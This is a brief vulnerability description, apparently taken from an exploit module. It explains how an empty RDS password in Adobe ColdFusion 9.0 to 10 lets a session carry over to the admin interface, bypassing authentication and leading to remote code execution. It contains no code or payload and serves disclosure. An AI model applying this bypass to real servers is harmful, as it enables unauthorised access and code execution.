        Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote
        attackers to bypass authentication using the RDS component. Due to
        default settings or misconfiguration, its password can be set to an
        empty value. This allows an attacker to create a session via the RDS
        login that can be carried over to the admin web interface even though
        the passwords might be different, and therefore bypassing authentication
        on the admin web interface leading to arbitrary code execution. Tested
        on Windows and Linux with ColdFusion 9.
